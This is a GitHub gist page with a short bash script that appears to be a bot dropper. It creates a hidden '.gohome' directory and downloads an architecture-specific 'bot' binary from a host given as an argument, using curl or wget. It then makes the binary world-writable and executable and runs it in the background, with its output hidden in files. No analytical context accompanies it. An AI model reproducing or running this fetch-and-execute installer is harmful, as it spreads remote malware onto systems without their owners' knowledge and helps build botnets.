Created
July 21, 2017 11:27
-
-
Save PalmaSolutions/5792a66010f890d77cb148d7bacfe5c7 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
DIRNAME='.gohome' | |
MACHINE_TYPE=`uname -m` | |
mkdir $DIRNAME | |
cd $DIRNAME | |
if [ $? != 0 ]; | |
then | |
echo 'exiting' | |
exit | |
fi | |
getHash() { | |
md5=$(md5sum bot | cut -d ' ' -f 1); | |
if [[ $md5 == "" ]]; then | |
echo "emtpy" | |
fi | |
echo $md5 | |
} | |
download() { | |
if curl $1 > $2; then echo 'curl ok'; else wget $1 -O $2; fi; | |
} | |
bot_works() { | |
chmod +x bot | |
./bot --test > err1 2> err1 | |
output=$(cat err1) | |
if [[ $output == 'success' ]]; then | |
echo '1' | |
else | |
echo '0' | |
fi | |
} | |
a=$(getHash) | |
if [[ $3 == *"$a"* ]]; then | |
echo "hash equals" | |
else | |
echo "hash not equal" | |
echo 'downloading bot' | |
if [ ${MACHINE_TYPE} == 'x86_64' ]; then | |
echo 'for 64 bit' | |
download $1/gob/bot64 bot | |
if [ $(bot_works) == '1' ] ; then | |
echo 'works' | |
else | |
echo 'does not work' | |
download $1/gob/bot32 bot | |
fi | |
else | |
echo 'for 32 bit' | |
download $1/gob/bot32 bot | |
fi | |
chmod 777 bot | |
fi | |
./bot $1 $2 > out 2> err & | |
echo 'done'; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment